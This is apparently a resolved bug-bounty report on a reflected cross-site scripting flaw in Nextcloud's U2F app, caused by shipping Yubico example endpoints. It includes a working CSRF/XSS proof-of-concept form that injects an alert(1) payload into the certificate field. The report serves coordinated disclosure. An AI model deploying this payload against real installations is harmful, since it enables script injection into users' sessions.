Reflected XSS in U2F plugin by shipping the example endpoints
High
N
Nextcloud
Submitted None
Actions:
Reported by
lukasreschke
Vulnerability Details
Technical details and impact analysis
While running a [RIPS scan](https://www.ripstech.com/) against our [instrumentalized source code](https://github.com/nextcloud/php-static-scanner-instrumentalization) it noticed that the file `/apps/twofactor_u2f/vendor/yubico/u2flib-server/examples/localstorage/index.php` echoes on user input:
{F145451}
I was first a tad confused because [the examples have been removed from our Git repository](https://github.com/nextcloud/twofactor_u2f/tree/3321e0dc84208adb623b6843f72e81782d9f2b6e/vendor/yubico/u2flib-server), but the release from apps.nextcloud.com ships with that file. So I suppose the Makefile is downloading the dependencies again.
While exploiting this is not entirely trivial due to some sanity checks in the code above it is however possible, the following CSRF PoC will trigger a popup:
```html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://10.211.55.7/stable9/apps/twofactor_u2f/vendor/yubico/u2flib-server/examples/localstorage/index.php" method="POST">
<input type="hidden" name="doAuthenticate" value="{"signatureData":"AQAAABowRAIgMZL56nkLO7gs2OYoUW8RE3xAWLAvzroTiWO2T2PBb-wCID6zjKjjxsqqG5NZ4upnT1xCeFmnDSefS_TWHZWjoXgx","clientData":"eyAiY2hhbGxlbmdlIjogIjFQX1l4TWpGVEhPcmNyQmlwUF8tLXRtVjA4SXNRUnVXaVlwZVZYVlNpVFUiLCAib3JpZ2luIjogImh0dHA6XC9cLzEwLjIxMS41NS43IiwgInR5cCI6ICJuYXZpZ2F0b3IuaWQuZ2V0QXNzZXJ0aW9uIiB9","keyHandle":"9cgajEA4PWsnEbpgfnaxFBxMsiUNWo4GKbdk5PrdMn3c139bG3mXqLVw3VwpdcQzzPmVyGF6KBvFZsb2jpzdmg"}" />
<input type="hidden" name="request" value="[{"version":"U2F_V2","challenge":"1P_YxMjFTHOrcrBipP_--tmV08IsQRuWiYpeVXVSiTU","keyHandle":"9cgajEA4PWsnEbpgfnaxFBxMsiUNWo4GKbdk5PrdMn3c139bG3mXqLVw3VwpdcQzzPmVyGF6KBvFZsb2jpzdmg","appId":"http://10.211.55.7"}]" />
<input type="hidden" name="registrations" value="[{"keyHandle":"9cgajEA4PWsnEbpgfnaxFBxMsiUNWo4GKbdk5PrdMn3c139bG3mXqLVw3VwpdcQzzPmVyGF6KBvFZsb2jpzdmg","publicKey":"BPtO8T0VluUL14FRKvEkZ5lP/3W4F7er4WS87iYfrpoKj0Fjo+M+zAxNsuhYd+3rYQFVPr4hflhOh3lMSZ605Fg=","certificate":"MIICLjCCARigAwIBAgIECmML\/zALBgkqhkiG9w0BAQswLjEsMCoGA1UEAxMjWXViaWNvIFUyRiBSb290IENBIFNlcmlhbCA0NTcyMDA2MzEwIBcNMTQwODAxMDAwMDAwWhgPMjA1MDA5MDQwMDAwMDBaMCkxJzAlBgNVBAMMHll1YmljbyBVMkYgRUUgU2VyaWFsIDE3NDI2MzI5NTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABKQjZF26iyPtbNnl5IuTKs\/fRWTHVzHxz1IHRRBrSbqWD60PCqUJPe4zkIRFqBa4NnzdhVcS80nlZuY3ANQm0J+jJjAkMCIGCSsGAQQBgsQKAgQVMS4zLjYuMS40LjEuNDE0ODIuMS4yMAsGCSqGSIb3DQEBCwOCAQEAZTmwMqHPxEjSB64Umwq2tGDKplAcEzrwmg6kgS8KPkJKXKSu9T1H6XBM9+LAE9cN48oUirFFmDIlTbZRXU2Vm2qO9OdrSVFY+qdbF9oti8CKAmPHuJZSW6ii7qNE59dHKUaP4lDYpnhRDqttWSUalh2LPDJQUpO9bsJPkgNZAhBUQMYZXL\/MQZLRYkX+ld7llTNOX5u7n\/4Y5EMr+lqOyVVC9lQ6JP6xoa9q6Zp9+Y9ZmLCecrrcuH6+pLDgAzPcc8qxhC2OR1B0ZSpI9RBgcT0KqnVE0tq1KEDeokPqF3MgmDRkJ++\/a2pV0wAYfPC3tC57BtBdH\/UXEB8xZVFhtA==wzh87'-alert(1)-'k50k8","counter":-1}]" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
{F145453}
This code is part of the [official Yubico PHP U2F library](https://github.com/Yubico/php-u2flib-server). In a first step I'll coordinate with @christophwurst to remove this file from the release on apps.nextcloud.com, then I'll make sure to reach out to Yubico to get this resolved in their library.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Cross-site Scripting (XSS) - Generic